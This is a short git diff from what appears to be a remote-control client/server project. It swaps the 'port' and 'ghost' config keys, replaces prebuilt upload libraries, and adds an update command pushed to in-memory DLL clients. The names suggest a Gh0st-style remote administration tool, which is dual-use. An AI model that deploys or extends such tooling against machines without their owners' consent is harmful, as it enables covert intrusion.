diff --git a/client/test.cpp b/client/test.cpp index f163c66..bbb3364 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -403,7 +403,7 @@ BOOL Run(const char* argv1, int argv2) } else { config cfg; strcpy_s(path, cfg.GetStr("settings", "master", g_ConnectAddress.ServerIP()).c_str()); - port = cfg.Get1Int("settings", "ghost", ';', 6543); + port = cfg.Get1Int("settings", "port", ';', 6543); } Mprintf("[server] %s:%d\n", ip, port); do { diff --git a/lib/FileUpload_Lib.lib b/lib/FileUpload_Lib.lib index e44dc1a..41b4d5f 100644 Binary files a/lib/FileUpload_Lib.lib and b/lib/FileUpload_Lib.lib differ diff --git a/lib/FileUpload_Libd.lib b/lib/FileUpload_Libd.lib index 6eac904..202bf27 100644 Binary files a/lib/FileUpload_Libd.lib and b/lib/FileUpload_Libd.lib differ diff --git a/lib/FileUpload_Libx64.lib b/lib/FileUpload_Libx64.lib index 1137d6c..905d957 100644 Binary files a/lib/FileUpload_Libx64.lib and b/lib/FileUpload_Libx64.lib differ diff --git a/lib/FileUpload_Libx64d.lib b/lib/FileUpload_Libx64d.lib index 807e60f..5a4876b 100644 Binary files a/lib/FileUpload_Libx64d.lib and b/lib/FileUpload_Libx64d.lib differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 5185107..bb2e9e8 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -1822,7 +1822,7 @@ void CMy2015RemoteDlg::OnOnlineUpdate() dst->SetAdminId(GetMasterHash().c_str()); memcpy(dst->szFlag, GetMasterId().c_str(), 16); strcpy_s(dst->szServerIP, THIS_CFG.GetStr("settings", "master", "127.0.0.1").c_str()); - strcpy_s(dst->szPort, THIS_CFG.GetStr("settings", "port", "6543").c_str()); + strcpy_s(dst->szPort, THIS_CFG.GetStr("settings", "ghost", "6543").c_str()); dst->Encrypt(); dst->iType = dlg.m_nSelected ? CLIENT_TYPE_ONE : CLIENT_TYPE_MEMDLL; dst->iStartup = dlg.m_nSelected ? Startup_GhostMsc : Startup_TestRunMsc; @@ -1846,6 +1846,11 @@ void CMy2015RemoteDlg::OnOnlineUpdate() memcpy(buffer + 1, &fileSize, 8); memcpy(buffer + 9, buf->c_str() + 6, fileSize); } + else if (clientType == "SC" || clientType == "MDLL") { + fileSize = 0; + buffer = new BYTE[fileSize + 9](); + buffer[0] = COMMAND_UPDATE; + } if (buffer) { SendSelectedCommand((PBYTE)buffer, 9 + fileSize);